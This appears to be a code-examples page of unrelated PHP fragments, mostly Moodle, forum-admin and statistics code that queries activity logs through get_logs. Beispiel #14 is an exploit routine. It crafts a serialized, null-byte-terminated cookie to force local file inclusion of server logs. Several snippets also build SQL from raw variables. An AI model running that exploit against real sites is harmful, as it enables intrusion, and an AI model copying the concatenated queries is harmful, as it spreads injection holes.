Beispiel #1
0
function tl_get_course_time($courseid, $userid)
{
    global $CFG;
    set_time_limit(0);
    //totalcount is passed by reference
    $sql_log = 'l.course = ' . $courseid . ' AND l.userid = ' . $userid;
    $logs = get_logs($sql_log, 'l.time ASC', '', '', $totalcount);
    if (!is_array($logs)) {
        return 0;
    }
    $totaltime = 0;
    foreach ($logs as $log) {
        if (!isset($login)) {
            // for the first time $login is not set so the first log is also
            // the first $login
            $login = $log->time;
            $last_hit = $log->time;
            $totaltime = 0;
        }
        $delay = $log->time - $last_hit;
        if ($delay > $CFG->sessiontimeout * 60) {
            // the difference between the last log and the current log is more than
            // the timeout Register session value so that we have found a session!
            $login = $log->time;
        } else {
            $totaltime += $delay;
        }
        // now the actual log became the previous log for the next cycle
        $last_hit = $log->time;
    }
    return $totaltime;
}
function integrate_log($user_id, $course_id, $scorm_id)
{
    global $DB;
    $selector = "";
    $Joins = array();
    $course_module = array();
    $course_module = $DB->get_records("course_modules", array("instance" => $scorm_id, "course" => $course_id));
    $Joins_cm = array();
    foreach ($course_module as $cm) {
        $Joins_cm[] = "l.cmid = '{$cm->id}'";
    }
    $Joins[] = '(' . implode(' OR ', $Joins_cm) . ')';
    $Joins[] = "l.course = {$course_id}";
    $Joins[] = "l.userid = {$user_id}";
    $Joins[] = "l.module = 'scorm'";
    $selector = implode(' AND ', $Joins);
    $order = ' l.time ASC ';
    $limitfrom = '';
    $limitnum = 50000;
    $totalcount = '';
    $courseUserActionLogs = get_logs($selector, null, $order, $limitfrom, $limitnum, $totalcount);
    $courseUserLogData = array();
    foreach ($courseUserActionLogs as $courseUserLog) {
        $courseUserLogData[$courseUserLog->id] = array('time' => $courseUserLog->time);
    }
    return $courseUserLogData;
}
Beispiel #3
0
function build_logs_array($course, $user = 0, $date = 0, $order = "l.time ASC", $limitfrom = '', $limitnum = '', $modname = "", $modid = 0, $modaction = "", $groupid = 0)
{
    // It is assumed that $date is the GMT time of midnight for that day,
    // and so the next 86400 seconds worth of logs are printed.
    /// Setup for group handling.
    /// If the group mode is separate, and this user does not have editing privileges,
    /// then only the user's group can be viewed.
    if ($course->groupmode == SEPARATEGROUPS and !has_capability('moodle/course:managegroups', get_context_instance(CONTEXT_COURSE, $course->id))) {
        $groupid = get_current_group($course->id);
    } else {
        if (!$course->groupmode) {
            $groupid = 0;
        }
    }
    $joins = array();
    if ($course->id != SITEID || $modid != 0) {
        $joins[] = "l.course='{$course->id}'";
    }
    if ($modname) {
        $joins[] = "l.module = '{$modname}'";
    }
    if ('site_errors' === $modid) {
        $joins[] = "( l.action='error' OR l.action='infected' )";
    } else {
        if ($modid) {
            $joins[] = "l.cmid = '{$modid}'";
        }
    }
    if ($modaction) {
        $firstletter = substr($modaction, 0, 1);
        if (preg_match('/[[:alpha:]]/', $firstletter)) {
            $joins[] = "lower(l.action) LIKE '%" . strtolower($modaction) . "%'";
        } else {
            if ($firstletter == '-') {
                $joins[] = "lower(l.action) NOT LIKE '%" . strtolower(substr($modaction, 1)) . "%'";
            }
        }
    }
    /// Getting all members of a group.
    if ($groupid and !$user) {
        if ($gusers = groups_get_members($groupid)) {
            $gusers = array_keys($gusers);
            $joins[] = 'l.userid IN (' . implode(',', $gusers) . ')';
        } else {
            $joins[] = 'l.userid = 0';
            // No users in groups, so we want something that will always be false.
        }
    } else {
        if ($user) {
            $joins[] = "l.userid = '{$user}'";
        }
    }
    if ($date) {
        $enddate = $date + 86400;
        $joins[] = "l.time > '{$date}' AND l.time < '{$enddate}'";
    }
    $selector = implode(' AND ', $joins);
    $totalcount = 0;
    // Initialise
    $result = array();
    $result['logs'] = get_logs($selector, $order, $limitfrom, $limitnum, $totalcount);
    $result['totalcount'] = $totalcount;
    return $result;
}
Beispiel #4
0
/**
* @desc Returns a small object with summary information about a wwassignment instance. Used for user activity repots.
* @param string $course The ID of the course.
* @param string $user The ID of the user.
* @param string $wwassignment The ID of the wwassignment instance.
* @return array Representing time, info pairing.
*/
function wwassignment_user_outline($course, $user, $mod, $wwassignment)
{
    $aLogs = get_logs("l.userid={$user} AND l.course={$course} AND l.cmid={$wwassignment->id}");
    if (count($aLogs) > 0) {
        $return->time = $aLogs[0]->time;
        $return->info = $aLogs[0]->info;
    }
    return $return;
}
Beispiel #5
0
function wwassignment_update_dirty_sets()
{
    // update grades for all instances which have been modified since last cronjob
    global $CFG, $DB;
    $timenow = time();
    $lastcron = $DB->get_field("modules", "lastcron", array("name" => "wwassignment"));
    //	error_log ("lastcron is $lastcron and time now is $timenow");
    //error_log ("sql string = $sql");
    // Could we speed this up by getting all of the log records pertaining to webwork in one go?
    // Or perhaps just the log records which have occured after the lastcron date
    // Then create a hash with wwassignment->id  => timemodified
    // means just one database lookup
    $logRecords = get_logs("l.module LIKE \"wwassignment\" AND l.time >{$lastcron} ", null, "l.time ASC");
    $wwmodtimes = array();
    foreach ($logRecords as $record) {
        $wwmodtimes[$wwid = $record->info] = $record->time;
    }
    // Create an array with the wwid values
    $idValues = implode(",", array_keys($wwmodtimes));
    list($usql, $params) = $DB->get_in_or_equal($idValues);
    //error_log("values string $idValues");
    //error_log("last modification times".print_r($wwmodtimes,true));
    $sql = "SELECT a.*, cm.idnumber as cmidnumber, a.course as courseid, cm.id as wwinstanceid " . "FROM {wwassignment} a, {course_modules} cm, {modules} m WHERE m.name = 'wwassignment' " . "AND m.id=cm.module AND cm.instance=a.id AND a.id {$usql}";
    $sql3 = "SELECT a.* FROM {wwassignment} a WHERE a.id {$usql}";
    //error_log("last modification times".print_r($wwmodificationtime,true));
    if ($rs = $DB->get_recordset_sql($sql, $params)) {
        foreach ($rs as $wwassignment) {
            if (!$wwassignment->cmidnumber) {
                // is this ever needed?
                $wwassignment->cmidnumber = _wwassignment_cmid();
            }
            $wwassignment->timemodified = $wwmodtimes[$wwassignment->id];
            if ($wwassignment->timemodified > $lastcron) {
                //             	error_log("instance needs update.  timemodified ".$wwassignment->timemodified.
                //             	     ", lastcron $lastcron, course id ".$wwassignment->course.", wwassignment id ".$wwassignment->id.
                //             	     ", set name ".$wwassignment->name.", cm.id ".$wwassignment->wwinstanceid);
                if ($wwassignment->grade != 0) {
                    wwassignment_update_grades($wwassignment);
                } else {
                    wwassignment_grade_item_update($wwassignment);
                }
                // refresh events for this assignment
                _wwassignment_refresh_event($wwassignment);
            } else {
                //             	error_log("no update needed.  timemodified ".$wwassignment->timemodified.
                //             	 ", lastcron $lastcron, course id ".$wwassignment->course.", wwassignment id ".$wwassignment->id.
                //             	", set name ".$wwassignment->name.", cm.id ".$wwassignment->wwinstanceid);
            }
        }
        $rs->close();
    }
    //	error_log("done with updating dirty sets");
    return true;
}
/**
 * Notify admin users or admin user of any failed logins (since last notification).
 *
 * @uses $CFG
 * @uses $db
 * @uses HOURSECS
 */
function notify_login_failures()
{
    global $CFG, $db;
    switch ($CFG->notifyloginfailures) {
        case 'mainadmin':
            $recip = array(get_admin());
            break;
        case 'alladmins':
            $recip = get_admins();
            break;
    }
    if (empty($CFG->lastnotifyfailure)) {
        $CFG->lastnotifyfailure = 0;
    }
    // we need to deal with the threshold stuff first.
    if (empty($CFG->notifyloginthreshold)) {
        $CFG->notifyloginthreshold = 10;
        // default to something sensible.
    }
    $notifyipsrs = $db->Execute('SELECT ip FROM ' . $CFG->prefix . 'log WHERE time > ' . $CFG->lastnotifyfailure . '
                          AND module=\'login\' AND action=\'error\' GROUP BY ip HAVING count(*) > ' . $CFG->notifyloginthreshold);
    $notifyusersrs = $db->Execute('SELECT info FROM ' . $CFG->prefix . 'log WHERE time > ' . $CFG->lastnotifyfailure . '
                          AND module=\'login\' AND action=\'error\' GROUP BY info HAVING count(*) > ' . $CFG->notifyloginthreshold);
    if ($notifyipsrs) {
        $ipstr = '';
        while ($row = rs_fetch_next_record($notifyipsrs)) {
            $ipstr .= "'" . $row->ip . "',";
        }
        rs_close($notifyipsrs);
        $ipstr = substr($ipstr, 0, strlen($ipstr) - 1);
    }
    if ($notifyusersrs) {
        $userstr = '';
        while ($row = rs_fetch_next_record($notifyusersrs)) {
            $userstr .= "'" . $row->info . "',";
        }
        rs_close($notifyusersrs);
        $userstr = substr($userstr, 0, strlen($userstr) - 1);
    }
    if (strlen($userstr) > 0 || strlen($ipstr) > 0) {
        $count = 0;
        $logs = get_logs('time > ' . $CFG->lastnotifyfailure . ' AND module=\'login\' AND action=\'error\' ' . (strlen($ipstr) > 0 && strlen($userstr) > 0 ? ' AND ( ip IN (' . $ipstr . ') OR info IN (' . $userstr . ') ) ' : (strlen($ipstr) != 0 ? ' AND ip IN (' . $ipstr . ') ' : ' AND info IN (' . $userstr . ') ')), 'l.time DESC', '', '', $count);
        // if we haven't run in the last hour and we have something useful to report and we are actually supposed to be reporting to somebody
        if (is_array($recip) and count($recip) > 0 and time() - HOURSECS > $CFG->lastnotifyfailure and is_array($logs) and count($logs) > 0) {
            $message = '';
            $site = get_site();
            $subject = get_string('notifyloginfailuressubject', '', format_string($site->fullname));
            $message .= get_string('notifyloginfailuresmessagestart', '', $CFG->wwwroot) . ($CFG->lastnotifyfailure != 0 ? '(' . userdate($CFG->lastnotifyfailure) . ')' : '') . "\n\n";
            foreach ($logs as $log) {
                $log->time = userdate($log->time);
                $message .= get_string('notifyloginfailuresmessage', '', $log) . "\n";
            }
            $message .= "\n\n" . get_string('notifyloginfailuresmessageend', '', $CFG->wwwroot) . "\n\n";
            foreach ($recip as $admin) {
                mtrace('Emailing ' . $admin->username . ' about ' . count($logs) . ' failed login attempts');
                email_to_user($admin, get_admin(), $subject, $message);
            }
            $conf = new object();
            $conf->name = 'lastnotifyfailure';
            $conf->value = time();
            if ($current = get_record('config', 'name', 'lastnotifyfailure')) {
                $conf->id = $current->id;
                if (!update_record('config', $conf)) {
                    mtrace('Could not update last notify time');
                }
            } else {
                if (!insert_record('config', $conf)) {
                    mtrace('Could not set last notify time');
                }
            }
        }
    }
}
Beispiel #7
0
function can_bid()
{
    do_log('bid');
    return get_logs('bid', bid_time) < 6;
}
Beispiel #8
0
        }
        delete_error_log_file($file_array);
    } else {
        message_die(GENERAL_ERROR, $lang['LOGS_DENY']);
    }
}
$start = request_var('start', 0);
$start = $start < 0 ? 0 : $start;
$sort_order_array = array('log_id', 'log_time', 'log_page', 'log_user_id', 'log_action', 'log_desc', 'log_target');
$sort_order = request_var('sort_order', $sort_order_array[0]);
$sort_order = in_array($sort_order, $sort_order_array) ? $sort_order : $sort_order_array[0];
$sort_dir = request_var('sort_dir', 'DESC');
$sort_dir = $sort_dir == 'ASC' ? 'ASC' : 'DESC';
$logs_actions_filter = request_var('logs_actions_filter', 'ALL');
$log_item = array();
$log_item = get_logs('', $start, $config['topics_per_page'], $sort_order, $sort_dir, $logs_actions_filter);
foreach ($log_item as $log_item_data) {
    $log_username = colorize_username($log_item_data['log_user_id']);
    $log_target = $log_item_data['log_target'] >= 2 ? colorize_username($log_item_data['log_target']) : '&nbsp;';
    $log_action = parse_logs_action($log_item_data['log_id'], $log_item_data['log_action'], $log_item_data['log_desc'], $log_username, $log_target);
    $template->assign_block_vars('log_row', array('LOG_ID' => $log_item_data['log_id'], 'LOG_TIME' => create_date_ip($config['default_dateformat'], $log_item_data['log_time'], $config['board_timezone']), 'LOG_PAGE' => htmlspecialchars($log_item_data['log_page']), 'LOG_ACTION' => $log_item_data['log_action'], 'LOG_USERNAME' => $log_username, 'LOG_TARGET' => $log_target, 'LOG_DESC' => $log_action['desc'], 'S_LOG_DESC_EXTRA' => $log_action['desc_extra'] != '' ? true : false, 'LOG_DESC_EXTRA' => $log_action['desc_extra']));
}
$logs_actions_filter_select = actions_filter_select($logs_actions_filter);
$sort_lang = $sort_dir == 'ASC' ? $lang['Sort_Ascending'] : $lang['Sort_Descending'];
$sort_img = $sort_dir == 'ASC' ? 'images/sort_asc.png' : 'images/sort_desc.png';
$sort_img_full = '<img src="' . IP_ROOT_PATH . $sort_img . '" alt="' . $sort_lang . '" title="' . $sort_lang . '" style="padding-left: 3px;" />';
$sort_order_append = '&amp;sort_order=' . $sort_order;
$sort_dir_append = '&amp;sort_dir=' . $sort_dir;
$logs_actions_filter_append = $logs_actions_filter == 'ALL' ? '' : '&amp;logs_actions_filter=' . $logs_actions_filter;
$sort_dir_append_rev = '&amp;sort_dir=' . ($sort_dir == 'ASC' ? 'DESC' : 'ASC');
$this_page_address = 'admin_logs.' . PHP_EXT . '?' . $sort_dir_append_rev . $logs_actions_filter_append;
Beispiel #9
0
function build_logs_array($course, $user = 0, $date = 0, $order = "l.time ASC", $limitfrom = '', $limitnum = '', $modname = "", $modid = 0, $modaction = "", $groupid = 0)
{
    global $DB, $SESSION, $USER;
    // It is assumed that $date is the GMT time of midnight for that day,
    // and so the next 86400 seconds worth of logs are printed.
    /// Setup for group handling.
    /// If the group mode is separate, and this user does not have editing privileges,
    /// then only the user's group can be viewed.
    if ($course->groupmode == SEPARATEGROUPS and !has_capability('moodle/course:managegroups', get_context_instance(CONTEXT_COURSE, $course->id))) {
        if (isset($SESSION->currentgroup[$course->id])) {
            $groupid = $SESSION->currentgroup[$course->id];
        } else {
            $groupid = groups_get_all_groups($course->id, $USER->id);
            if (is_array($groupid)) {
                $groupid = array_shift(array_keys($groupid));
                $SESSION->currentgroup[$course->id] = $groupid;
            } else {
                $groupid = 0;
            }
        }
    } else {
        if (!$course->groupmode) {
            $groupid = 0;
        }
    }
    $joins = array();
    $params = array();
    if ($course->id != SITEID || $modid != 0) {
        $joins[] = "l.course = :courseid";
        $params['courseid'] = $course->id;
    }
    if ($modname) {
        $joins[] = "l.module = :modname";
        $params['modname'] = $modname;
    }
    if ('site_errors' === $modid) {
        $joins[] = "( l.action='error' OR l.action='infected' )";
    } else {
        if ($modid) {
            $joins[] = "l.cmid = :modid";
            $params['modid'] = $modid;
        }
    }
    if ($modaction) {
        $firstletter = substr($modaction, 0, 1);
        if ($firstletter == '-') {
            $joins[] = $DB->sql_like('l.action', ':modaction', false, true, true);
            $params['modaction'] = '%' . substr($modaction, 1) . '%';
        } else {
            $joins[] = $DB->sql_like('l.action', ':modaction', false);
            $params['modaction'] = '%' . $modaction . '%';
        }
    }
    /// Getting all members of a group.
    if ($groupid and !$user) {
        if ($gusers = groups_get_members($groupid)) {
            $gusers = array_keys($gusers);
            $joins[] = 'l.userid IN (' . implode(',', $gusers) . ')';
        } else {
            $joins[] = 'l.userid = 0';
            // No users in groups, so we want something that will always be false.
        }
    } else {
        if ($user) {
            $joins[] = "l.userid = :userid";
            $params['userid'] = $user;
        }
    }
    if ($date) {
        $enddate = $date + 86400;
        $joins[] = "l.time > :date AND l.time < :enddate";
        $params['date'] = $date;
        $params['enddate'] = $enddate;
    }
    $selector = implode(' AND ', $joins);
    $totalcount = 0;
    // Initialise
    $result = array();
    $result['logs'] = get_logs($selector, $params, $order, $limitfrom, $limitnum, $totalcount);
    $result['totalcount'] = $totalcount;
    return $result;
}
Beispiel #10
0
   turning this feature on takes up a fraction of your database space,
   for each database error that your installation generates. Feel free to
   turn this off if your installation is running smoothly, and remember to
   flush the logs regularly.</p>

   <table>

   <tr>
   <th>Date</th>
   <th>Source</th>
   <th>Log</th>
   </tr>
<?php 
    $start = isset($_REQUEST['start']) ? $_REQUEST['start'] : '0';
    $logs = get_logs($start);
    $total = count(get_logs());
    $datestring = 'Y-m-d h:i:s';
    $shade = false;
    foreach ($logs as $l) {
        $class = $shade ? ' class="rowshade"' : '';
        $shade = !$shade;
        echo "<tr{$class}><td>";
        echo date($datestring, strtotime($l['date']));
        echo '</td><td>' . $l['source'];
        echo '</td><td>' . $l['log'];
    }
    echo '</table>';
    $page_qty = $total / get_setting('per_page');
    $url = $_SERVER['REQUEST_URI'];
    $url = 'errorlog.php';
    $connector = '?';
Beispiel #11
0
function wwassignment_update_dirty_sets()
{
    // update grades for all instances which have been modified since last cronjob
    global $CFG;
    $timenow = time();
    $lastcron = get_field("modules", "lastcron", "name", "wwassignment");
    error_log("lastcron is {$lastcron} and time now is {$timenow}");
    //error_log ("sql string = $sql");
    // Could we speed this up by getting all of the log records pertaining to webwork in one go?
    // Or perhaps just the log records which have occured after the lastcron date
    // Then create a hash with wwassignment->id  => timemodified
    // means just one database lookup
    $logRecords = get_logs("l.module LIKE \"wwassignment\" AND l.time >{$lastcron} ", "l.time ASC");
    // possible actions generating a log entry include view,  update and 'view all'
    $wwmodificationtime = array();
    foreach ($logRecords as $record) {
        $wwid = $record->info;
        if ($wwid > 0) {
            // the $wwid must not be 0 or blank -- blank id's occur for view all.
            $wwmodtimes[$wwid] = $record->time;
        }
    }
    // Create an array with the wwid values
    $idValues = "( " . implode(",", array_keys($wwmodtimes)) . " )";
    error_log("values string {$idValues}");
    //error_log("last modification times".print_r($wwmodtimes,true));
    $sql = "SELECT a.*, cm.idnumber as cmidnumber, a.course as courseid, cm.id as wwinstanceid\n\t\t\t  FROM {$CFG->prefix}wwassignment a, {$CFG->prefix}course_modules cm, {$CFG->prefix}modules m\n\t\t\t WHERE m.name='wwassignment' AND m.id=cm.module AND cm.instance=a.id AND a.id IN {$idValues}";
    error_log("sql {$sql}");
    //$sql3 = "SELECT a.* FROM {$CFG->prefix}wwassignment a WHERE a.id IN $idValues";
    //error_log("last modification times".print_r($wwmodificationtime,true));
    $rs = get_recordset_sql($sql);
    if ($rs) {
        while ($wwassignment = rs_fetch_next_record($rs)) {
            if (!$wwassignment->cmidnumber) {
                // is this ever needed?
                $wwassignment->cmidnumber = _wwassignment_cmid();
            }
            $wwassignment->timemodified = $wwmodtimes[$wwassignment->id];
            if ($wwassignment->timemodified > $lastcron) {
                error_log("instance needs update.  timemodified " . $wwassignment->timemodified . ", lastcron {$lastcron}, course id " . $wwassignment->course . ", wwassignment id " . $wwassignment->id . ", set name " . $wwassignment->name . ", cm.id " . $wwassignment->wwinstanceid);
                if ($wwassignment->grade != 0) {
                    wwassignment_update_grades($wwassignment);
                } else {
                    wwassignment_grade_item_update($wwassignment);
                }
                // refresh events for this assignment
                _wwassignment_refresh_event($wwassignment);
            } else {
                error_log("no update needed.  timemodified " . $wwassignment->timemodified . ", lastcron {$lastcron}, course id " . $wwassignment->course . ", wwassignment id " . $wwassignment->id . ", set name " . $wwassignment->name . ", cm.id " . $wwassignment->wwinstanceid);
            }
        }
        rs_close($rs);
    }
    error_log("done with updating dirty sets");
    return true;
}
function cacualateOneCourseRate($courseID)
{
    if (!($courseusers = get_course_students($courseID))) {
        return false;
        //error('這門課程目前沒有學生參加!');
    }
    if (!($courseActionItem = getCourseActionItem($courseID))) {
        return false;
        //error('課程未有活動!');
    }
    if (!($courseStandardArray = getReportModuleConfig($courseID))) {
        return false;
        //error('課程尚未設定!');
    }
    $userPassArray = array();
    //$userPassArray[userID] = true
    $courseJoins = array();
    $courseJoins[] = "l.module = 'course'";
    $courseJoins[] = "l.action = 'view'";
    $courseJoins[] = "l.course = {$courseID}";
    foreach ($courseusers as $courseuser) {
        $joins = $courseJoins;
        $joins[] = "l.userid = '{$courseuser->id}'";
        $order = ' l.time ASC ';
        $limitfrom = '';
        $limitnum = 50000;
        $totalcount = '';
        $selector = implode(' AND ', $joins);
        $courseUserLogs = get_logs($selector, null, $order, $limitfrom, $limitnum, $totalcount);
        $courseUserLogData = array();
        foreach ($courseUserLogs as $courseUserLog) {
            $courseUserLogData[$courseUserLog->id] = array('userid' => $courseUserLog->userid, 'name' => $courseUserLog->firstname . $courseUserLog->lastname, 'time' => $courseUserLog->time, 'course' => $courseUserLog->course, 'module' => $courseUserLog->module, 'action' => $courseUserLog->action, 'info' => $courseUserLog->info);
        }
        $userPass = '';
        $courseUserTableForm = collectCourseUserInforamtion($courseuser->id, $courseUserLogData, $courseActionItem, $courseStandardArray, $userPass);
        $userPassArray[$courseuser->id] = $userPass;
    }
    $passCount = 0;
    $noPassCount = 0;
    foreach ($userPassArray as $userPass) {
        if ($userPass) {
            $passCount++;
        }
    }
    return round($passCount / count($userPassArray), 4) * 100;
}
Beispiel #13
0
            } else {
                $name_guest = '<b>' . $lang['Guest'] . '</b>';
            }
            // MG BOTS Parsing - END
            $template->assign_block_vars('guest_user_row', array('ROW_CLASS' => $row_class, 'USERNAME' => $name_guest, 'STARTED' => create_date($config['default_dateformat'], $onlinerow_guest[$i]['session_start'], $config['board_timezone']), 'LASTUPDATE' => create_date($config['default_dateformat'], $onlinerow_guest[$i]['session_time'], $config['board_timezone']), 'FORUM_LOCATION' => $location['lang'], 'IP_ADDRESS' => $guest_ip, 'U_WHOIS_IP' => 'http://whois.sc/' . htmlspecialchars(urlencode($guest_ip)), 'U_FORUM_LOCATION' => $location['url']));
        }
    } else {
        $template->assign_vars(array('L_NO_GUESTS_BROWSING' => $lang['No_users_browsing']));
    }
    jr_admin_make_info_box();
    $version_info = '<p style="color:green">' . $lang['Version_up_to_date'] . '</p>';
    $version_info .= '<p>' . $lang['Mailing_list_subscribe_reminder'] . '</p>';
    $template->assign_vars(array('VERSION_INFO' => $version_info, 'L_VERSION_INFORMATION' => $lang['Version_information']));
    // Get latest logs entry - BEGIN
    $log_item = array();
    $log_item = get_logs('', 0, $config['posts_per_page'], 'log_id', 'DESC');
    foreach ($log_item as $log_item_data) {
        $log_username = colorize_username($log_item_data['log_user_id']);
        $log_target = $log_item_data['log_target'] >= 2 ? colorize_username($log_item_data['log_target']) : '&nbsp;';
        $log_action = parse_logs_action($log_item_data['log_id'], $log_item_data['log_action'], $log_item_data['log_desc'], $log_username, $log_target);
        $template->assign_block_vars('log_row', array('LOG_ID' => $log_item_data['log_id'], 'LOG_TIME' => create_date_ip($config['default_dateformat'], $log_item_data['log_time'], $config['board_timezone']), 'LOG_PAGE' => $log_item_data['log_page'], 'LOG_ACTION' => $log_item_data['log_action'], 'LOG_USERNAME' => $log_username, 'LOG_TARGET' => $log_target, 'LOG_DESC' => $log_action['desc'], 'S_LOG_DESC_EXTRA' => $log_action['desc_extra'] != '' ? true : false, 'LOG_DESC_EXTRA' => $log_action['desc_extra']));
    }
    // Get latest logs entry - END
    $template->pparse('body');
    include IP_ROOT_PATH . ADM . '/page_footer_admin.' . PHP_EXT;
} else {
    // Generate frameset
    $template->set_filenames(array('body' => ADM_TPL . 'index_frameset.tpl'));
    $template->assign_vars(array('S_CONTENT_DIRECTION' => $lang['DIRECTION'], 'S_CONTENT_ENCODING' => $lang['ENCODING'], 'S_FRAME_HEADER' => append_sid('ip_header.' . PHP_EXT), 'S_FRAME_NAV' => append_sid('index.' . PHP_EXT . '?pane=left'), 'S_FRAME_MAIN' => append_sid('index.' . PHP_EXT . '?pane=right')));
    header("Expires: " . gmdate("D, d M Y H:i:s", time()) . " GMT");
    header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
Beispiel #14
0
function lfi()
{
    global $host, $path, $cookie;
    $logs = get_logs();
    foreach ($logs as $_log) {
        print "[-] Trying to include {$_log}\n";
        $data = base64_encode(serialize(array("ID" => md5(time()), "am" => 1, "lang" => $_log . chr(0))));
        $packet = "GET {$path} HTTP/1.0\r\n";
        $packet .= "Host: {$host}\r\n";
        $packet .= "Cookie: {$cookie}_data={$data}\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $resp = http_send($host, $packet);
        if (!preg_match("/f=fopen/", $resp) && preg_match("/_LfI_/", $resp)) {
            return true;
        }
        sleep(1);
    }
    return false;
}
Beispiel #15
0
    $grid = 0.2;
}
// caches created by year
$rs = sql("SELECT latitude, longitude, date_created FROM caches");
while ($cache = sql_fetch_assoc($rs)) {
    $lat = floor($cache["latitude"] / $grid);
    $long = floor($cache["longitude"] / $grid);
    $year = substr($cache["date_created"], 0, 4);
    if ($year >= 2005 && $year <= date("Y") && ($lat != 0 || $long != 0)) {
        $years[$year] = true;
        $liste[$lat][$long]["caches"][$year]++;
    }
}
mysql_free_result($rs);
// logs per logdate by year
get_logs("cache_logs");
// get_logs("cache_logs_archived");
function get_logs($table)
{
    global $grid, $liste, $years;
    $rs = sql("SELECT latitude, longitude, date\n\t  \t\t\t\t FROM {$table}\n\t\t  \t\t\t INNER JOIN caches ON {$table}.cache_id=caches.cache_id");
    while ($cache = sql_fetch_assoc($rs)) {
        $lat = floor($cache["latitude"] / $grid);
        $long = floor($cache["longitude"] / $grid);
        $year = substr($cache["date"], 0, 4);
        if ($year >= 2005 && $year <= date("Y") && ($lat != 0 || $long != 0)) {
            $years[$year] = true;
            $liste[$lat][$long]["logs"][$year]++;
        }
    }
    mysql_free_result($rs);
Beispiel #16
0
/**
 * @param $path
 * @param $contributors
 * @param $minRevision
 * @param $maxRevision
 * @param int $step
 * @return mixed
 */
function get_contributors_data($path, &$contributors, $minRevision, $maxRevision, $step = 20000)
{
    global $nbCommiters;
    if (empty($contributors)) {
        get_contributors_sf_data($contributors);
        info(">> Retrieved members list from Sourceforge.");
    }
    $minByStep = max($maxRevision - $step, $minRevision);
    $lastLogRevision = $maxRevision;
    echo "\rRetrieving logs from revision {$minByStep} to {$maxRevision} ...\t\t\t";
    $logs = get_logs($path, $minByStep, $maxRevision);
    if (preg_match_all('/^r(\\d+) \\|\\s([^\\|]+)\\s\\|\\s(\\d+-\\d+-\\d+)\\s.*\\n\\n(.*)\\-+\\n/Ums', $logs, $matches, PREG_SET_ORDER)) {
        foreach ($matches as $logEntry) {
            $mycommits[$logEntry[1]] = array($logEntry[2], $logEntry[3]);
        }
        krsort($mycommits);
        foreach ($mycommits as $commitnum => $commitinfo) {
            if ($lastLogRevision > 0 && $commitnum != $lastLogRevision - 1 && $lastLogRevision != $maxRevision) {
                print "\nProblem with commit " . ($lastLogRevision - 1) . "\n (trying {$commitnum} after {$lastLogRevision})";
                die;
            }
            $lastLogRevision = $commitnum;
            $author = strtolower($commitinfo[0]);
            // Remove empty author or authors like (no author), which may be translated depending on server locales
            if (empty($author) || $author[0] == '(') {
                continue;
            }
            if (!isset($contributors[$author])) {
                $contributors[$author] = array();
            }
            $contributors[$author]['Author'] = $commitinfo[0];
            $contributors[$author]['First Commit'] = $commitinfo[1];
            if (isset($contributors[$author]['Number of Commits'])) {
                $contributors[$author]['Number of Commits']++;
            } else {
                $contributors[$author]['Last Commit'] = $commitinfo[1];
                $nbCommiters++;
                $contributors[$author]['Number of Commits'] = 1;
            }
        }
    }
    if ($lastLogRevision > $minRevision) {
        get_contributors_data($path, $contributors, $minRevision, $lastLogRevision - 1, $step);
    }
    return $contributors;
}
Beispiel #17
0
/**
 * Get the time the user has spent in the course
 *
 * @param int $courseid
 * @return int the total time spent in seconds
 */
function iomadcertificate_get_course_time($courseid)
{
    global $CFG, $USER;
    set_time_limit(0);
    $totaltime = 0;
    $sql = "l.course = :courseid AND l.userid = :userid";
    if ($logs = get_logs($sql, array('courseid' => $courseid, 'userid' => $USER->id), 'l.time ASC', '', '', $totalcount)) {
        foreach ($logs as $log) {
            if (!isset($login)) {
                // For the first time $login is not set so the first log is also the first login
                $login = $log->time;
                $lasthit = $log->time;
                $totaltime = 0;
            }
            $delay = $log->time - $lasthit;
            if ($delay > $CFG->sessiontimeout * 60) {
                // The difference between the last log and the current log is more than
                // the timeout Register session value so that we have found a session!
                $login = $log->time;
            } else {
                $totaltime += $delay;
            }
            // Now the actual log became the previous log for the next cycle
            $lasthit = $log->time;
        }
        return $totaltime;
    }
    return 0;
}
 protected static function get_logs_legacy($courseids, $lastlogtime)
 {
     global $DB;
     list($csql, $params) = $DB->get_in_or_equal($courseids, SQL_PARAMS_NAMED);
     $params['time'] = $lastlogtime;
     $logs = get_logs("l.time >= :time AND l.course {$csql} AND cmid > 0", $params, 'l.time ASC', '', '', $totalcount);
     $ret = array();
     foreach ($logs as $log) {
         $wantedactions = self::get_log_actions_legacy($log->module);
         if (in_array($log->action, $wantedactions)) {
             $ret[] = $log;
         }
     }
     return $ret;
 }
Beispiel #19
0
/**
 * Function to be run periodically according to the moodle cron
 * This function searches for things that need to be done, such
 * as sending out mail, toggling flags etc ...
 *
 * @return boolean
 * @todo Finish documenting this function
 **/
function checklist_cron()
{
    global $CFG, $DB;
    $lastcron = $DB->get_field('modules', 'lastcron', array('name' => 'checklist'));
    if (!$lastcron) {
        // First time run - checklists will take care of any updates before now
        return true;
    }
    require_once $CFG->dirroot . '/mod/checklist/autoupdate.php';
    if (!$CFG->checklist_autoupdate_use_cron) {
        mtrace("Checklist cron updates disabled");
        return true;
    }
    $lastlogtime = $lastcron - 5;
    // Subtract 5 seconds just in case a log slipped through during the last cron update
    // Find all autoupdating checklists
    $checklists = $DB->get_records_select('checklist', 'autopopulate > 0 AND autoupdate > 0');
    if (!$checklists) {
        // No checklists to update
        mtrace("No automatic update checklists found");
        return true;
    }
    // Match up these checklists with the courses they are in
    $courses = array();
    foreach ($checklists as $checklist) {
        if (array_key_exists($checklist->course, $courses)) {
            $courses[$checklist->course][$checklist->id] = $checklist;
        } else {
            $courses[$checklist->course] = array($checklist->id => $checklist);
        }
    }
    $courseids = implode(',', array_keys($courses));
    if (defined("DEBUG_CHECKLIST_AUTOUPDATE")) {
        mtrace("Looking for updates in courses: {$courseids}");
    }
    // Process all logs since the last cron update
    $logupdate = 0;
    $totalcount = 0;
    $logs = get_logs("l.time >= ? AND l.course IN ({$courseids}) AND cmid > 0", array($lastlogtime), 'l.time ASC', '', '', $totalcount);
    if ($logs) {
        if (defined("DEBUG_CHECKLIST_AUTOUPDATE")) {
            mtrace("Found " . count($logs) . " log updates to check");
        }
        foreach ($logs as $log) {
            $logupdate += checklist_autoupdate($log->course, $log->module, $log->action, $log->cmid, $log->userid, $log->url, $courses[$log->course]);
        }
    }
    if ($logupdate) {
        mtrace(" Updated {$logupdate} checkmark(s) from log changes");
    } else {
        mtrace(" No checkmarks need updating from log changes");
    }
    // Process all the completion changes since the last cron update
    // Need the cmid, userid and newstate
    $completionupdate = 0;
